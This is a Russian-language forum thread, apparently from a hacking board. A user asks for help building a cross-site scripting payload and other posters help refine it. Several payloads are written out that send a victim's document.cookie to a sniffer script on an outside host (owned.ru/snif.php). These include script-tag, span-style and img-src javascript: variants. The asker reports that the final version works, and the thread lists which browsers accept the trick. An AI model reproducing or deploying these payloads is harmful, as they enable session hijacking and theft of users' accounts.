Правильный запрос к javascript

[Kond4r]

Ни как ни могу коректно составить запрос javascript

нужно чтоб работало вот это:

<span style=background:url(javascript:document.images[1].src="http://owned.ru/snif.php?"+document.cookie) > </span>

всё перепробовал, ну ни как не получается...

Был совет сделать такой запрос

<span style=background:url("http://owned.ru/snif.php?"+document.cookie) > </span>

В принципе он работает, но по понятным причинам куки не передаёт....

Сразу скажу, что

<script>img = new Image(); img.src =" http://owned.ru/snif.php?"+document.cookie;</script>

пашет отлично....

ЗЫ:

кстати алерт в
<span style=background:url(javascript:alert())> </span>
выводился у меня токо в какой-то старой версии explorera


Заранее спасибо за либую инфу!

[Morph]

А у тя какой браузер?
Данный код посути должен работать в ИЕ.
В остальных нет.

[Kond4r]

пробовал в ie70, mozzila 1.7.8, opera7.0 - не работает

нарыл какой-то smartexplorer 1.1.8 - там работает токо

<span style=background:url(javascript:alert())><span>

но если написать

<span style=background:url(document.images[1].src="http://test.ru/snif.php?"+document.cookie)></span>

он выдаёт критическую ошибку и вылетает(((

Нашёл в инете, что это должно работать в
Applied By

Win IE 5.0 - 6.x
OSX IE 5.x
Mac IE 4.0 - 5.x
Mac IE 4.0 may show a "low system memory" message.

Win Opera 7.0 - 7.x
MSN for OSX
OSX iCab 2.x

Not Applied By

All Mozilla 0.6 - 1.6
Win IE 4.0
All NS 4.05 - 4.x
Win Opera 3.5 - 6.x
OSX/Mac Opera 5.0 - 6.x
OSX Safari 1.x
Konqueror 2.2 - 3.x

согласно этому в Opere 7.0 работать должно, но повторюсь: непашет....

В чём дело?

[bul666]

Можно через IMG/// <img src=[JAVASCRIPT]>

[Kond4r]

пробовал тоже самое....

Есть идея передать переменную document.cookie после ввода адреса снифа:

<span style=background:url("http://test.ru/snif.php?"+document.cookie)></span>

Снифер запускается (наконец-то), но передаётся в него не значение кукисов, а как раз то что написано далее: \"+document.cookie

пробовал писать

<span style=background:url("http://test.ru/snif.php?"+javascript:document.write(document.cookie))></span>

передаётся \"+javascript:document.write(document.cookie)

Помогите очень прошу!

[bul666]

А порчему именно Span ???

[Kond4r]

да мона и <img src....>
Всё перепробовал. не работает

[bul666]

да мона и <img src....>
Всё перепробовал. не работает

Попробуй так:

<img src="javascript:img = new Image(); img.src ='http://owned.ru/snif.php?'+document.cookie;">

[Kond4r]

Заработало!!!)))))
Прада токо в smartexplorer
В IE7.0 не работает
В Mozzile не передаётся document.cookie

Спасибо огромное...
Дальше я сам наверно разберусь.
Хотя если есть какие-то идеи буду признателен.
>bull666
Огромное спасибо!

[Kond4r]

было дело


Всем спасибо сам намыл инфу.... Всё работает и <span> в том числе.)))